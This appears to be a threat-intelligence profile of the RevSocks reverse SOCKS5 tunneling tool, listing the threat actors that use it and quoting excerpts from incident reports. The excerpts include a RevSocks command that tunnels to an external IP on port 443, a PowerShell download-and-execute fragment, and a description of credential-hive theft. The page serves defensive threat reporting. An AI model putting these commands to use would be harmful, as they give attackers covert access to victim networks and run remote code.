RevSocks is an open-source, Go-based reverse SOCKS5 tunneling tool used for legitimate network access and abused in cyberespionage and ransomware operations. It runs on Windows and Linux and supports SSL/TLS-encrypted connections and upstream proxies. By establishing an outbound connection from a compromised system to an operator-controlled server, it provides proxy access into otherwise inaccessible network segments.
Attackers deploy RevSocks after compromise to pivot within victim networks, relay command-and-control traffic, support remote access, and transport or stage data for exfiltration. Its encrypted tunnels can conceal the traffic carried through them, and observed deployments have used port 443 as a covert access channel. It is a networking utility rather than a full-featured remote-access implant; credential theft, ransomware encryption, and other malicious actions are performed by accompanying tools.
Observed users include Seedworm, also known as MuddyWater, Mantis, also known as Arid Viper, Cloud Atlas, Shedding Zmiy, and the CL-UNK-1211 intrusion cluster. It has also appeared in toolkits associated with INC and The Gentlemen ransomware affiliates and in a Spirals ransomware intrusion. Environments in which it has been deployed include government, telecommunications, IT services, and enterprise networks.
10 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
RevSocks, a reverse SOCKS5 framework used to pivot inside victim networks and stage data for exfiltration.
RevSocks, a reverse SOCKS5 framework used to pivot inside victim networks and stage data for exfiltration.
Investigators recovered traces of revsocks execution dating to September 2023 and additional revsocks commands during the Linux investigation.
Reverse SOCKS5 tunneler with TLS support (see https://github.com/kost/revsocks)
Further PowerShell stager execution also occurred, while the attacker also executed the Revsocks tool: CSIDL_COMMON_APPDATA\do.exe -co 94.131.3.160:443 -pa super -q
+4 more in the app. View in Mallory
14 distinct techniques documented for this family, organized by ATT&CK tactic.
Open-source tools: Neo-reGeorg, resocks, revsocks, patator
Feral Wolf discovered a PostgreSQL instance with a postgres account that used a weak password. The adversaries uploaded revsocks ... [and] presumably tested the discovered credentials to gain access to PostgreSQL.
To keep tunnels running, the group uses VBS scripts executed through PAExec or PsExec and schedules them as Windows tasks for automatic restarting.
To keep tunnels running, the group uses VBS scripts executed through PAExec or PsExec and schedules them as Windows tasks for automatic restarting.
Feral Wolf discovered a PostgreSQL instance with a postgres account that used a weak password. The adversaries uploaded revsocks ... [and] presumably tested the discovered credentials to gain access to PostgreSQL.
To keep tunnels running, the group uses VBS scripts executed through PAExec or PsExec and schedules them as Windows tasks for automatic restarting.
Feral Wolf discovered a PostgreSQL instance with a postgres account that used a weak password. The adversaries uploaded revsocks ... [and] presumably tested the discovered credentials to gain access to PostgreSQL.
Copies the SAM ... and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
Feral Wolf discovered a PostgreSQL instance with a postgres account that used a weak password. The adversaries uploaded revsocks ... [and] presumably tested the discovered credentials to gain access to PostgreSQL.
TA2 first sent a GET request with the CHMOD command to change the permissions of .tmp12865xax, a hidden file in the /tmp directory [T1222.002].
After accessing the system via an SSH connection, the attacker downloads a binary, enabling him to establish his own SSL/TLS tunnel via revsocks.
The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server... Invoke-WebRequest -Uri $uri -Method GET ... iex $response.Content;
Reverse-proxy templates, Worker relay, SOCKS5
revsocks (SOCKS5 reverse tunnel) ; pysoxy (proxy Python SOCKS)
For covert command-and-control, the operator ran a reverse-SOCKS proxy (revsocks) to an external IP on port 443
Three separate network-tunneling utilities were deployed to the host in the first 10 minutes of activity.
TA1 exploited CVE 2022-22954 ... to download [T1105] a malicious shell script.
We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.
revsocks (SOCKS5 reverse tunnel) ; GSocket / gs-netcat (traversée NAT/firewall)
12 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
19 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.